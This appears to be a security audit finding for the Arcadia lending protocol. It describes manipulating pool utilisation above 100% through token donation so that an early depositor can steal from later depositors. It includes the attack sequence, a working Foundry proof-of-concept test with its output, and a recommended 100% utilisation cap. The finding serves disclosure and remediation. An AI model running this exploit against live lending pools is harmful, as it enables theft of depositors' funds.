Utilisation Can Be Manipulated Far Above 100%
The utilisation of the protocol can be manipulated far above 100% via token donation. It is easiest to set this up on an empty pool. This can be used to manipulate the interest to above 10000% per minute to steal from future depositors.\\nThe utilisation is basically assets_borrowed / assets_loaned. A higher utilisation creates a higher interest rate. This is assumed to be less than 100%. However if it exceeds 100%, there is no cap here:\\nNormally, assets borrowed should never exceed assets loaned, however this is possible in Arcadia as the only thing stopping a borrow exceeding loans is that the `transfer` of tokens will revert due to not enough tokens in the `Lending pool`. However, an attacker can make it not revert by simply sending tokens directly into the lending pool. For example using the following sequence:\\ndeposit 100 assets into tranche\\nUse ERC20 Transfer to transfer `1e18` assets into the `LendingPool`\\nBorrow the `1e18` assets\\nThese are the first steps of the coded POC at the bottom of this issue. It uses a token donation to make a borrow which is far larger than the loan amount.\\nIn the utilisation calculation, this results in a incredibly high utilisation rate and thus interest rate as it is not capped at 100%. This is why some protocols implement a hardcap of utilisation at 100%.\\nThe interest rate is so high that over 2 minutes, 100 assets grows to over100000 assets, or a 100000% interest over 2 minutes. The linked similar exploit on Silo Finance has an even more drastic interest manipulation which could drain the whole protocol in a block. However I did not optimise the numbers for this POC.\\nNote that the 1e18 assets "donated" to the protocol are not lost. They can simply be all borrowed into an attackers account.\\nThe attacker can set this up when the initial lending pool is empty. Then, they can steal assets from subsequent depositors due to the huge amount of interest collected from their small initial deposit\\nLet me sum up the attack in the POC:\\ndeposit 100 assets into tranche\\nUse ERC20 Transfer to transfer `1e18` assets into the `LendingPool`\\nBorrow the `1e18` assets\\nVictim deposits into tranche\\nAttacker withdraws the victims funds which is greater than the 100 assets the attacker initially deposited\\nHere is the output from the console.logs:\\n```\\nRunning 1 test for test/scenario/BorrowAndRepay.scenario.t.sol:BorrowAndRepay_Scenario_Test\\n[PASS] testScenario_Poc() (gas: 799155)\\nLogs:\\n  100 initial pool balance. This is also the amount deposited into tranche\\n  warp 2 minutes into future\\n  mint was used rather than deposit to ensure no rounding error. This a UTILISATION manipulation attack not a share inflation attack\\n  22 shares were burned in exchange for 100000 assets. Users.LiquidityProvider only deposited 100 asset in the tranche but withdrew 100000 assets!\\n```\\n\\nThis is the edited version of `setUp()` in `_scenario.t.sol`\\n```\\nfunction setUp() public virtual override(Fuzz_Lending_Test) {\\n        Fuzz_Lending_Test.setUp();\\n        deployArcadiaLendingWithAccounts();\\n\\n        vm.prank(users.creatorAddress);\\n        pool.addTranche(address(tranche), 50);\\n\\n        // Deposit funds in the pool.\\n        deal(address(mockERC20.stable1), users.liquidityProvider, type(uint128).max, true);\\n\\n        vm.startPrank(users.liquidityProvider);\\n        mockERC20.stable1.approve(address(pool), 100);\\n        //only 1 asset was minted to the liquidity provider\\n        tranche.mint(100, users.liquidityProvider);\\n        vm.stopPrank();\\n\\n        vm.startPrank(users.creatorAddress);\\n        pool.setAccountVersion(1, true);\\n        pool.setInterestParameters(\\n            Constants.interestRate, Constants.interestRate, Constants.interestRate, Constants.utilisationThreshold\\n        );\\n        vm.stopPrank();\\n\\n        vm.prank(users.accountOwner);\\n        proxyAccount.openMarginAccount(address(pool));\\n    }\\n```\\n\\nThis test was added to `BorrowAndRepay.scenario.t.sol`\\n```\\n    function testScenario_Poc() public {\\n\\n        uint poolBalance = mockERC20.stable1.balanceOf(address(pool));\\n        console.log(poolBalance, "initial pool balance. This is also the amount deposited into tranche");\\n        vm.startPrank(users.liquidityProvider);\\n        mockERC20.stable1.approve(address(pool), 1e18);\\n        mockERC20.stable1.transfer(address(pool),1e18);\\n        vm.stopPrank();\\n\\n        // Given: collateralValue is smaller than maxExposure.\\n        //amount token up to max\\n        uint112 amountToken = 1e30;\\n        uint128 amountCredit = 1e10;\\n\\n        //get the collateral factor\\n        uint16 collFactor_ = Constants.tokenToStableCollFactor;\\n        uint256 valueOfOneToken = (Constants.WAD * rates.token1ToUsd) / 10 ** Constants.tokenOracleDecimals;\\n\\n        //deposits token1 into proxyAccount\\n        depositTokenInAccount(proxyAccount, mockERC20.token1, amountToken);\\n\\n        uint256 maxCredit = (\\n            //amount credit is capped based on amount Token\\n            (valueOfOneToken * amountToken) / 10 ** Constants.tokenDecimals * collFactor_ / AssetValuationLib.ONE_4\\n                / 10 ** (18 - Constants.stableDecimals)\\n        );\\n\\n\\n        vm.startPrank(users.accountOwner);\\n        //borrow the amountCredit to the proxy account\\n        pool.borrow(amountCredit, address(proxyAccount), users.accountOwner, emptyBytes3);\\n        vm.stopPrank();\\n\\n        assertEq(mockERC20.stable1.balanceOf(users.accountOwner), amountCredit);\\n\\n        //warp 2 minutes into the future.\\n        vm.roll(block.number + 10);\\n        vm.warp(block.timestamp + 120);\\n\\n        console.log("warp 2 minutes into future");\\n\\n        address victim = address(123);\\n        deal(address(mockERC20.stable1), victim, type(uint128).max, true);\\n\\n        vm.startPrank(victim);\\n        mockERC20.stable1.approve(address(pool), type(uint128).max);\\n        uint shares = tranche.mint(1e3, victim);\\n        vm.stopPrank();\\n\\n        console.log("mint was used rather than deposit to ensure no rounding error. This a UTILISATION manipulation attack not a share inflation attack");\\n\\n        //function withdraw(uint256 assets, address receiver, address owner_)\\n\\n        //WITHDRAWN 1e5\\n        vm.startPrank(users.liquidityProvider);\\n        uint withdrawShares = tranche.withdraw(1e5, users.liquidityProvider,users.liquidityProvider);\\n        vm.stopPrank();\\n\\n        console.log(withdrawShares, "shares were burned in exchange for 100000 assets. Users.LiquidityProvider only deposited 100 asset in the tranche but withdrew 100000 assets!");\\n\\n\\n    }\\n```\\n
Add a utilisation cap of 100%. Many other lending protocols implement this mitigation.
An early depositor can steal funds from future depositors through utilisation/interest rate manipulation.
```\\nRunning 1 test for test/scenario/BorrowAndRepay.scenario.t.sol:BorrowAndRepay_Scenario_Test\\n[PASS] testScenario_Poc() (gas: 799155)\\nLogs:\\n  100 initial pool balance. This is also the amount deposited into tranche\\n  warp 2 minutes into future\\n  mint was used rather than deposit to ensure no rounding error. This a UTILISATION manipulation attack not a share inflation attack\\n  22 shares were burned in exchange for 100000 assets. Users.LiquidityProvider only deposited 100 asset in the tranche but withdrew 100000 assets!\\n```\\n